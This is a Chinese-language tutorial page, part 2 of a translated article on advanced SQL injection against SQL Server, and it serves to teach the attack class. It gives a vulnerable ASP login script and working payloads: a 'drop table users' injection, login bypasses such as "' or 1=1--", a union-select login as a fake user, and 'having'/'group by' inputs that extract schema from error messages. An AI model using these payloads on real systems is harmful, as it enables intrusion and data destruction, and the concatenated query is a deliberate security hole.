程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> SqlServer數據庫 >> 關於SqlServer >> SQL Server的高級Sql注入(2)

SQL Server的高級Sql注入(2)

編輯:關於SqlServer
and password = '" + passWord + "'";
trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF)
{
rso.close();
%〉〈FONT Face='tahoma' color='cc0000'〉
〈H1〉
〈BR〉〈BR〉
〈CENTER〉Access DENIED〈/CENTER〉
〈/H1〉
〈/BODY〉
〈/Html〉
〈%
Response.end
return;
}
else
{
Session("username") = "" + rso("username");
%〉
〈FONT Face='tahoma' color='00cc00'〉
〈H1〉
〈CENTER〉Access GRANTED〈BR〉
〈BR〉
Welcome,
〈% Response.write(rso("Username"));
Response.write( "〈/BODY〉〈/Html〉" );
Response.end
}
}
function Main()
{
//Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "passWord" );
username = new String( Request.form("username") );
if( username.length 〉 0)
{
Login( cn );
}
cn.close();
}
Main();
%〉

這裡討論的是'process_login.ASP'中的創建'query string'的部分:

var sql = "select * from users where username = '" + username + "' and password = '" + passWord + "'";

如果用戶指定了下面這樣的數據:

Username: '; drop table users--
PassWord:

'users'表會被刪除,所有用戶都不能登陸。'--'是Transact-SQL(交互式SQL)的單行注釋符,';'標志著一個查詢的結束另一個查詢的開始。用戶名最後的'--'用來使這個特殊的查詢無錯誤結束。

攻擊者只要知道用戶名,就可以通過以下的輸入以任何用戶的身份登陸:

Username: admin'--

攻擊者可以通過下面的輸入以用戶表裡的第一個用戶來登陸:

Username: ' or 1=1--

...更有甚者,攻擊者通過以下的輸入可以以任意虛構的用戶登陸:

Username: ' union select 1, 'fictional_user', 'somoe_passWord', 1--

因為程序相信攻擊者指定的常量是數據庫返回的記錄集的一部分。

[通過錯誤信息獲取信息]

這個技術是David LitchfIEld在一次滲透入侵測試中首先發現的,後來david寫了篇關於這個技術的文章,很多作者都參考過這篇作品。這裡我們討論“錯誤消息”技術潛在的機制,使讀者可以充分理解它並且能靈活應用。

為了操作數據庫裡的數據,攻擊者要確定某個數據庫的結構。例如:我們的"user"表是用下面的語句建立的:

create table users( id int,
username varchar(255),
passWord varchar(255),
privs int
)

並且插入了下面的用戶:

insert into users values( 0, 'admin', 'r00tr0x!', 0xffff )
insert into users values( 0, 'guest', 'guest', 0x0000 )
insert into users values( 0, 'chris', 'passWord', 0x00ff )
insert into users values( 0, 'fred', 'sesame', 0x00ff )

我們假設攻擊者要為自己插入一個用戶,如果不知道表的結構的話,他不可能成功。即使他運氣好,'priv'字段的重要性還不清楚。攻擊者可能插入'1',給自己在程序裡添加了一個低權限的用戶,而他的目標是管理員的權限。

對於攻擊者來說幸運的是:如果程序返回錯誤(ASP默認如此),攻擊者可以猜測整個數據庫的結構,讀取ASP程序連接到SQL-Server的帳號權限內可以讀取的任何值。

(下面給出的使用上面提供的示例數據庫和ASP腳本來說明這些技術怎樣實現的)

首先,攻擊者要確定查詢的表名和字段名。要做到這點,攻擊者可以使用'select'語句的'having'子句:

username: ' having 1=1 --

這會引起下面的錯誤(譯者注:having字句必須和GROUP BY或者聚合函數一起配合使用,否則出錯):

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'users.id' is
invalid in the select list because it is not contained in an aggregate
function and there is no GROUP BY clause.
/process_login.ASP, line 35

所以攻擊者就知道了表名和第一列的列名,他們可以通過給每列加上'group by'子句繼續得到其他列名,如下:

username: ' group by users.id having 1=1 --

(結果產生這樣的錯誤)

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved